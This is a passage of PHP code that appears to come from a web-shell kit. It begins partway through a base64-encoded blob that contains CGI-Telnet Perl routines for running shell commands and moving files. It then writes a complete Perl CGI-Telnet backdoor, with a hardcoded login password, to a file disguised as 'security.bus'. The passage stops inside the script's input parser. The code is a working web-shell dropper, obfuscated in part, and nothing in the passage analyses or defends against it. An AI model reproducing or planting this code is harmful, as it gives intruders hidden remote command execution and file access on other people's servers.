1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K';
    file_put_contents('security.bus', "#!/usr/bin/perl\r\n#------------------------------------------------------------------------------\r\n# Copyright and Licence\r\n#------------------------------------------------------------------------------\r\n# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server\r\n#\r\n# Copyright (C) 2001 Rohitab Batra\r\n# Permission is granted to use, distribute and modify this script so long\r\n# as this copyright notice is left intact. If you make changes to the script\r\n# please document them and inform me. If you would like any changes to be made\r\n# in this script, you can e-mail me.\r\n#\r\n# Author: Rohitab Batra\r\n# Author e-mail: rohitab@rohitab.com\r\n# Author Homepage: http://www.rohitab.com/\r\n# Script Homepage: mailto:UNITX_TEAM@HOTMAIL.COM\r\n# Product Support: http://www.rohitab.com/support/\r\n# Discussion Forum: http://www.rohitab.com/discuss/\r\n# Mailing List: http://www.rohitab.com/mlist/\r\n#------------------------------------------------------------------------------\r\n\r\n#------------------------------------------------------------------------------\r\n# Installation\r\n#------------------------------------------------------------------------------\r\n# To install this script\r\n#\r\n# 1. Modify the first line \"#!/usr/bin/perl\" to point to the correct path on\r\n#    your server. For most servers, you may not need to modify this.\r\n# 2. Change the password in the Configuration section below.\r\n# 3. If you're running the script under Windows NT, set \$WinNT = 1 in the\r\n#    Configuration Section below.\r\n# 4. Upload the script to a directory on your server which has permissions to\r\n#    execute CGI scripts. This is usually cgi-bin. Make sure that you upload\r\n#    the script in ASCII mode.\r\n# 5. Change the permission (CHMOD) of the script to 755.\r\n# 6. Open the script in your web browser. If you uploaded the script in\r\n#    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl\r\n# 7. Login using the password that you specified in Step 2.\r\n#------------------------------------------------------------------------------\r\n\r\n#------------------------------------------------------------------------------\r\n# Configuration: You need to change only \$Password and \$WinNT. The other\r\n# values should work fine for most systems.\r\n#------------------------------------------------------------------------------\r\n\$Password = \"g1u5y\";\t\t# Change this. You will need to enter this\r\n\t\t\t\t# to login.\r\n\r\n\$WinNT = 0;\t\t\t# You need to change the value of this to 1 if\r\n\t\t\t\t# you're running this script on a Windows NT\r\n\t\t\t\t# machine. If you're running it on Unix, you\r\n\t\t\t\t# can leave the value as it is.\r\n\r\n\$NTCmdSep = \"&\";\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t# in a command line on Windows NT.\r\n\r\n\$UnixCmdSep = \";\";\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t# in a command line on Unix.\r\n\r\n\$CommandTimeoutDuration = 10;\t# Time in seconds after commands will be killed\r\n\t\t\t\t# Don't set this to a very large value. This is\r\n\t\t\t\t# useful for commands that may hang or that\r\n\t\t\t\t# take very long to execute, like \"find /\".\r\n\t\t\t\t# This is valid only on Unix servers. It is\r\n\t\t\t\t# ignored on NT Servers.\r\n\r\n\$ShowDynamicOutput = 1;\t\t# If this is 1, then data is sent to the\r\n\t\t\t\t# browser as soon as it is output, otherwise\r\n\t\t\t\t# it is buffered and send when the command\r\n\t\t\t\t# completes. This is useful for commands like\r\n\t\t\t\t# ping, so that you can see the output as it\r\n\t\t\t\t# is being generated.\r\n\r\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\r\n\r\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\r\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\r\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\r\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\r\n\r\n#------------------------------------------------------------------------------\r\n# Reads the input sent by the browser and parses the input variables. It\r\n# parses GET, POST and multipart/form-data that is used for uploading files.\r\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\r\n# Other variables can be accessed using \$in{'var'}, where var is the name of\r\n# the variable. Note: Most of the code in this function is taken from other CGI\r\n# scripts.\r\n#------------------------------------------------------------------------------\r\nsub ReadParse \r\n{\r\n\tlocal (*in) = @_ if @_;\r\n\tlocal (\$i, \$loc, \$key, \$val);\r\n\t\r\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\r\n\r\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\r\n\t{\r\n\t\t\$in = \$ENV{'QUERY_STRING'};\r\n\t}\r\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\r\n\t{\r\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\r\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\r\n\t}\r\n\r\n\t# handle file upload data\r\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\r\n\t{\r\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \r\n\t\t@list = 